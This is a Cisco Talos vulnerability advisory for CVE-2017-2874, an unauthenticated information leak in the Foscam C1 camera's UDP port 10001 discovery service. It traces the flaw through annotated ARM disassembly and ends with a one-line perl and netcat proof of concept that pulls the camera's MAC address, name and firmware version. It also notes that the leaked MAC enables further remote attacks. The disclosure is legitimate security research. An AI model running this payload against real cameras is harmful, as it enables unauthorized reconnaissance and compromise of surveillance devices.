CVE-2017-2874
An information disclosure vulnerability exists in the Multi-Camera interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted request on port 10001 can allow for a user to retrieve sensitive information without authentication.
Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26
http://www.foscam.com/downloads/index.html
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-200: Information Exposure
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.
The device has a Multi-Camera feature that allows cameras to communicate with each other, in order to display multiple streams on a unique web interface. Communication between cameras happen on UDP ports 10000 and 10001 and is handled by the binary “devMng”.
sub_29A98
is the threaded function that manages incoming messages on both ports using select
[1].
If a message is sent to port 10001, the function multicamera_p10001
is called [2].
```
.text:00029A98 sub_29A98
.text:00029A98
.text:00029A98 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
.text:00029A9C 10 30 A0 E3 MOV R3, #0x10
.text:00029AA0 71 DF 4D E2 SUB SP, SP, #0x1C4
.text:00029AA4 BC 31 8D E5 STR R3, [SP,#0x1E0+var_24]
.text:00029AA8 5C 33 9F E5 LDR R3, =0x3DE
.text:00029AAC 00 30 8D E5 STR R3, [SP,#0x1E0+timeout]
.text:00029AB0 58 33 9F E5 LDR R3, =aStartListenDis ; "Start listen discovery port"
.text:00029AB4 00 40 A0 E1 MOV R4, R0
.text:00029AB8 04 30 8D E5 STR R3, [SP,#0x1E0+addr_len]
.text:00029ABC 06 00 A0 E3 MOV R0, #6
.text:00029AC0 4C 33 9F E5 LDR R3, =aIpcamdiscovery ; "IPCamDiscovery/CIPCamDiscovery.cpp"
.text:00029AC4 03 10 A0 E3 MOV R1, #3
.text:00029AC8 48 23 9F E5 LDR R2, =(aMayNotBeAvaila+0x19)
.text:00029ACC 06 A4 FF EB BL _Z8wirteLogiiPKcS0_iS0_z
...
.text:00029BC0 01 0B A0 E3 MOV R0, #0x400
.text:00029BC4 05 20 A0 E1 MOV R2, R5
.text:00029BC8 05 30 A0 E1 MOV R3, R5
.text:00029BCC B0 51 8D E5 STR R5, [SP,#0x1E0+var_30]
.text:00029BD0 C6 A2 FF EB BL select ; [1]
.text:00029BD4 05 00 50 E1 CMP R0, R5
.text:00029BD8 78 00 00 0A BEQ loc_29DC0
.text:00029BDC 0B 00 00 AA BGE loc_29C10
...
.text:00029C10 loc_29C10
...
.text:00029C30 28 00 00 0A BEQ loc_29CD8
...
.text:00029C50 04 30 8D E5 STR R3, [SP,#0x1E0+addr_len]
.text:00029C54 0C 00 94 E5 LDR R0, [R4,#0xC]
.text:00029C58 08 10 A0 E1 MOV R1, R8 ; buffer
.text:00029C5C 01 2C A0 E3 MOV R2, #0x100
.text:00029C60 05 30 A0 E1 MOV R3, R5
.text:00029C64 00 70 8D E5 STR R7, [SP,#0x1E0+timeout]
.text:00029C68 20 A4 FF EB BL recvfrom
...
.text:00029CB8 E5 FE FF EB BL multicamera_p10000
...
.text:00029CD8 loc_29CD8
...
.text:00029D18 04 30 8D E5 STR R3, [SP,#0x1E0+addr_len]
.text:00029D1C 54 00 94 E5 LDR R0, [R4,#0x54]
.text:00029D20 08 10 A0 E1 MOV R1, R8 ; buffer
.text:00029D24 01 2C A0 E3 MOV R2, #0x100
.text:00029D28 07 30 A0 E1 MOV R3, R7
.text:00029D2C 00 50 8D E5 STR R5, [SP,#0x1E0+timeout]
.text:00029D30 EE A3 FF EB BL recvfrom
...
.text:00029D80 35 FE FF EB BL multicamera_p10001 ; [2]
```
multicamera_p10001
receives the “CIPCamDiscovery” object [3], the message [4] and its length [5] as parameters. The message header “MO_I” is checked [6] and the 16bit command identifier is extracted [7].
If the “find” command (“0x0000”) is used [8], the 32bit payload size is extracted and verified against the length of the whole message minus 0x17 (the header length) [9].
If all checks are passed the function sub_28348
is called [10].
```
.text:0002965C multicamera_p10001
.text:0002965C
.text:0002965C F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
.text:00029660 00 A0 53 E2 SUBS R10, R3, #0
.text:00029664 4C D0 4D E2 SUB SP, SP, #0x4C
.text:00029668 00 60 A0 E1 MOV R6, R0 ; [3]
.text:0002966C 01 40 A0 E1 MOV R4, R1 ; [4]
.text:00029670 02 50 A0 E1 MOV R5, R2 ; [5]
.text:00029674 68 70 9D E5 LDR R7, [SP,#0x68+arg_0]
.text:00029678 60 00 00 0A BEQ loc_29800
.text:0002967C 00 00 51 E3 CMP R1, #0
.text:00029680 00 00 52 13 CMPNE R2, #0
.text:00029684 00 30 A0 13 MOVNE R3, #0
.text:00029688 01 30 A0 03 MOVEQ R3, #1
.text:0002968C 09 00 00 1A BNE loc_296B8
...
.text:000296B8 loc_296B8
.text:000296B8 40 80 8D E2 ADD R8, SP, #0x68+dest
...
.text:000296D0 08 00 A0 E1 MOV R0, R8
.text:000296D4 64 11 9F E5 LDR R1, =aMo_i ; "MO_I"
.text:000296D8 E1 A5 FF EB BL strcmp ; [6]
.text:000296DC 00 80 50 E2 SUBS R8, R0, #0
.text:000296E0 46 00 00 1A BNE loc_29800
.text:000296E4 04 30 D4 E5 LDRB R3, [R4,#4]
.text:000296E8 05 20 D4 E5 LDRB R2, [R4,#5]
.text:000296EC 02 34 83 E1 ORR R3, R3, R2,LSL#8
.text:000296F0 03 38 A0 E1 MOV R3, R3,LSL#16
.text:000296F4 43 38 B0 E1 MOVS R3, R3,ASR#16 ; [7]
.text:000296F8 02 00 00 0A BEQ loc_29708 ; [8]
.text:000296FC 64 00 53 E3 CMP R3, #0x64
.text:00029700 47 00 00 1A BNE loc_29824
.text:00029704 28 00 00 EA B loc_297AC ; cmd 0x0064
.text:00029708
.text:00029708 loc_29708 ; cmd 0x0000
.text:00029708 10 10 D4 E5 LDRB R1, [R4,#0x10]
.text:0002970C 0F 20 D4 E5 LDRB R2, [R4,#0xF]
.text:00029710 01 24 82 E1 ORR R2, R2, R1,LSL#8
.text:00029714 11 10 D4 E5 LDRB R1, [R4,#0x11]
.text:00029718 01 28 82 E1 ORR R2, R2, R1,LSL#16
.text:0002971C 12 10 D4 E5 LDRB R1, [R4,#0x12]
.text:00029720 01 2C 82 E1 ORR R2, R2, R1,LSL#24
.text:00029724 17 10 82 E2 ADD R1, R2, #0x17
.text:00029728 01 00 55 E1 CMP R5, R1 ; [9]
.text:0002972C 05 00 00 0A BEQ loc_29748
...
.text:00029748 loc_29748
...
.text:000297A4 E7 FA FF EB BL sub_28348 ; [10]
```
sub_28348
retrieves information from the camera like the MAC address [11], the camera name [12], firmware version [13] and put them in a buffer that is sent back as an answer [14].
```
.text:00028348 sub_28348
.text:00028348
.text:00028348 F0 4F 2D E9 STMFD SP!, {R4-R11,LR}
...
.text:000284A8 D4 04 9F E5 LDR R0, =unk_875B0
.text:000284AC 1E 1E 8D E2 ADD R1, SP, #0x2D8+src
.text:000284B0 D6 AA 00 EB BL read_mac ; [11]
.text:000284B4 7B 1F 8D E2 ADD R1, SP, #0x2D8+var_EC
.text:000284B8 C8 04 9F E5 LDR R0, =unk_8F6F8
.text:000284BC 01 10 81 E2 ADD R1, R1, #1
.text:000284C0 15 11 00 EB BL read_camera_name ; [12]
.text:000284C4 85 1F 8D E2 ADD R1, SP, #0x2D8+var_C4
.text:000284C8 BC 04 9F E5 LDR R0, =unk_8F718
.text:000284CC 02 10 81 E2 ADD R1, R1, #2
.text:000284D0 C2 E2 FF EB BL sub_20FE0
.text:000284D4 86 1F 8D E2 ADD R1, SP, #0x2D8+var_C0
.text:000284D8 B0 04 9F E5 LDR R0, =gProduct
.text:000284DC 02 10 81 E2 ADD R1, R1, #2
.text:000284E0 E6 AA FF EB BL _ZN8CProduct9getAppVerEPc ; [13]
.text:000284E4 AB 8F 8D E2 ADD R8, SP, #0x2D8+buf
.text:000284E8 08 20 A0 E1 MOV R2, R8
.text:000284EC 70 12 9D E5 LDR R1, [SP,#0x2D8+s2]
.text:000284F0 02 00 A0 E3 MOV R0, #2
.text:000284F4 23 A8 FF EB BL inet_pton
...
.text:00028698 57 1F 8D E2 ADD R1, SP, #0x2D8+s ; buffer
.text:0002869C 54 00 94 E5 LDR R0, [R4,#0x54]
.text:000286A0 81 20 A0 E3 MOV R2, #0x81
.text:000286A4 00 30 A0 E3 MOV R3, #0
.text:000286A8 DA A7 FF EB BL sendto ; [14]
```
As demonstrated in TALOS-2017-0382 and TALOS-2017-0383, the MAC address is needed for sending commands on port 10000 and the existence of this bug enables remote exploitation outside the local network.
This vulnerability is reachable by the “find” command (0x0000) and doesn’t need authentication. The following proof of concept retrieves the MAC address, camera name and firmware version.
```
$ perl -e 'print "MO_I","\x00\x00","K"x9,"\x00\x00\x00\x00","A"x4' | nc -u $IP 10001 | hexdump -C
```
2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.